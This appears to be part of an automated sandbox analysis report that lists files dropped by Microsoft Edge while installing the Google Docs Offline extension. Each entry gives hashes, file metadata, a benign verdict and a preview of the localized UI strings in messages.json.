Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
